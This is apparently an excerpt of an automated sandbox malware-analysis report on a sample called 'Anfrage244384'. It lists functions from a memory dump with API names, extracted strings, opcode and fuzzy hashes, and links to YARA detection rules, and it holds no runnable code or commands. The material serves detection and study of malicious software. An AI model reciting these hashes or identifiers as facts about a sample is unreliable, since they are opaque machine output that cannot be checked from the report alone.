                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 8ca468d2b697c0f4ed33e825b38128c337c3d939d5aef072e75f61ffd7600e73
                                                          • Instruction ID: 6a91244d38cbe43c362da6e8bdb279a26c73777b880c3103641cb54daff2d31d
                                                          • Opcode Fuzzy Hash: 8ca468d2b697c0f4ed33e825b38128c337c3d939d5aef072e75f61ffd7600e73
                                                          • Instruction Fuzzy Hash: 065122B6E002199FEF04CF94D840ADCBBB1FF88364F08842AE805BB250D7B49902DF64
                                                          Function 34EC7B2F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes$BaseInitThreadThunk
                                                          • String ID:
                                                          • API String ID: 4281723722-0
                                                          • Opcode ID: 1e1fb0a089fa503849b46b2195c1d14a526439a8555389a6393bddcb5f7732b8
                                                          • Instruction ID: ac3ee7fd9289b2a3ffd9e0f208822f40016fbe20ad4e19f4e036744bb6f9aa0f
                                                          • Opcode Fuzzy Hash: 1e1fb0a089fa503849b46b2195c1d14a526439a8555389a6393bddcb5f7732b8
                                                          • Instruction Fuzzy Hash: 87312775E00618DFDF14DFA8D884AADBBB1FB48710F188569E411BB290DB345D02CF98
                                                          Function 34E959C0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @
                                                          • API String ID: 0-2766056989
                                                          • Opcode ID: f2832845ea481f91255569cf8f9513e206c7f74e5b185cff31917de876926c27
                                                          • Instruction ID: 9fa89fb4d51ac5bb43a58bc37750840e66057c0b9c40790ebb3a3f9e0587fa75
                                                          • Opcode Fuzzy Hash: f2832845ea481f91255569cf8f9513e206c7f74e5b185cff31917de876926c27
                                                          • Instruction Fuzzy Hash: 94324671904369DFEB61CF64C884BDDBBF4BB08308F0041EAD559A7291EB799A84CF91
                                                          Function 34ED7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-
                                                          • API String ID: 1302938615-2137968064
                                                          • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction ID: 75741dffd76776e12f94eae992a67a4b9a0695ffe33025e4e2af5d55a5688fa5
                                                          • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction Fuzzy Hash: AE91A374E002169FEB28CF69C8816AEB7B5FF46368F50451EEC65E72D0EB309942D760
                                                          Function 34EC4C59 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 0$Flst
                                                          • API String ID: 0-758220159
                                                          • Opcode ID: 276aa839317edc8840ef190819df65b18791b18d9d25c8636ef1f1081360c214
                                                          • Instruction ID: ff36aec539a71fbe60eb709c903bcf53b8dda42bffcdf815b936bc08afce31ff
                                                          • Opcode Fuzzy Hash: 276aa839317edc8840ef190819df65b18791b18d9d25c8636ef1f1081360c214
                                                          • Instruction Fuzzy Hash: F9519CB6E002089FEB15DF95CA84659FBF5FF44398F14846ED04A9B250EB70DD86CB80
                                                          Function 34E904E5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 153timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • kLsE, xrefs: 34E90540
                                                          • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 34E9063D
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                          • API String ID: 3446177414-2547482624
                                                          • Opcode ID: 4fc984244d7090a06644662b3ff9a05000673f2acd1f410d87f221b565c9692b
                                                          • Instruction ID: 7521a0f787e2b6806d200f46dd2c6d891f9e46bb83a82fcd4a608e7f343a5490
                                                          • Opcode Fuzzy Hash: 4fc984244d7090a06644662b3ff9a05000673f2acd1f410d87f221b565c9692b
                                                          • Instruction Fuzzy Hash: D851CBB59147428FE324DF24C4406E7BBE4AF85309F408C3EE9AAC7681E738A545CF92
                                                          Function 34E8DF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: 0$0
                                                          • API String ID: 3446177414-203156872
                                                          • Opcode ID: 2e30513efe6ce00b7f6ceabf38c78e4bf846bd0848b9b3cace78ed7ffdebaa84
                                                          • Instruction ID: 6a4d9c9a2849a29baa260e548e70c37afab3da16ee59a0d030041ab78c18736c
                                                          • Opcode Fuzzy Hash: 2e30513efe6ce00b7f6ceabf38c78e4bf846bd0848b9b3cace78ed7ffdebaa84
                                                          • Instruction Fuzzy Hash: 7E415CB66087069FD700CF28C584A1ABBE9FB89758F04492EF588DB341D771E905CB96